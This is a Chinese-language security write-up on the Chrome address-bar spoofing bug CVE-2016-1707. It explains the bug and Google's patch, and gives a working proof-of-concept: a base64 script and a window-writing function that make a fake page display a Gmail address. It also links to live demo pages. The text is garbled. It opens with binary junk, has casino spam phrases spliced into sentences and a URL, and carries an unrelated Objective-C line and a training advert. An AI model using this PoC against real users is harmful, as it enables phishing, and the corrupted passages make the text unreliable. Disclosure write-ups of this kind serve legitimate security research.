???稂蚎婢??J0祠鵞up皫倉t遂裬5磃_,鴗Υ沸?\NQ(p娶5陖CVeOShpZ9(爄閈RZ"毮?餮髤?弶+旦蔝磼掹划I|Vt匱?R;:qU狳缎噯#Q=s^f?羬稦觙i汪W?蔾1G緈鴂5 -完美娱乐

　　导语

　　Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707)，这个漏洞笔者于2016年6月报告给Google，现在把漏洞细节分享给大家。URL Spoofing漏洞可以伪造一个合法的网站地址。攻击者可以利用这个漏洞对用户发起网络钓鱼攻击。

　　受影响版本：

　　Chrome < v52.0.2743.82，IOS < v10

　　漏洞详情

　　POC:完美官方入口

　　<>

　　payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNrKCk7DQo8L3NjcmlwdD4=";

　　functionpwned() {

　　vart = window.open('https://www.gmail.com/', 'aaaa');

　　t.document.write(atob(payload));

　　t.document.write("<h1>Address bar says [url]https://www.gmail.com/[/url] - this is NOT [url]https://www.gmail.com/</h1>[/url]");

　　}

　　</>

　　<a href="https://hack.com::/"target="aaaa">click me</a><br>

　　那么这个漏洞是如何发生的呢？笔者现在来解读一下整个代码的加载过程。首先点击click me这个链接，浏览器去打开一个name为aaaa的新窗口，这个页面去加载“https://hack.com::”，这个地址可以随便写。500微秒后运行pwned()，在aaaa窗口打开https://www.gmail.com，当然这个URL可以为空。到现在为止，一切代码运行都很正常，接下来这段代码就是触发漏洞的核心代码。

　　加密的这段代码：

　　 payload code:

　　接下来这段代开始在aaaa窗口页面去提交（commit）https://gmail.com::，这是一个很奇妙的事情，https://gmail.com::本是一个无效的地址，如何去被提交呢。在尝试了多种方法后，笔者发现使用a标签点击的方式可以做到（window.open/location则不可以），并且使这个无效地址处在了一个等待状态(pending status)。此时，实际Chrome是加载了about:blank（已经到了about:blank域），但在处理最后URL地址栏中的显示时，Chrome却选择了处在等待状态的https://gmail.com:: 作为最后的提交地址，加载后的https://gmail.com::在URL地址栏中会以https://gmail.com这样的方式呈现，两个::会被隐藏。此时，整个加载过程完成。一个完美的URL Spoofing漏洞就这样产生了。

　　Online demo:

　　https://xisigr.com/test/spoof/chrome/1.html

　　https://xisigr.com/test/spoof/chrome/2.html

　　如果你完美娱乐网站还没有升级版本，Chrome < v52.0.2743.82，IOS < v10，那么可以尝试运行笔者网站上的这两个DEMO。

　　如何修复

　　这个漏洞最关键的地方是，Chrome允许在Web页面加载的时候，提交一个无效的地址所导致。Google也是基于此给出了补丁文件，就是在加载Web页面的时候不允许提交无效地址，如果检测到是无效地址，则直接使当前URL为about:blank。

　　[self optOutScrollsToTopForSubviews];

　　相关链接

　　[1] https://googlechromereleases.blo ... channel-update.html

　　[2] https://bugs.chromium.org/p/chromium/issues/detail?完美官方网站id=622183

　　[3] https://chromium.googlesource.co ... 6c88304ec504e909fd5

　　作者：xisigr

　　来自：腾讯玄武实验室

炼石信息安全培训春季班开招

QQ：495066536

372806985

敬请持续关注……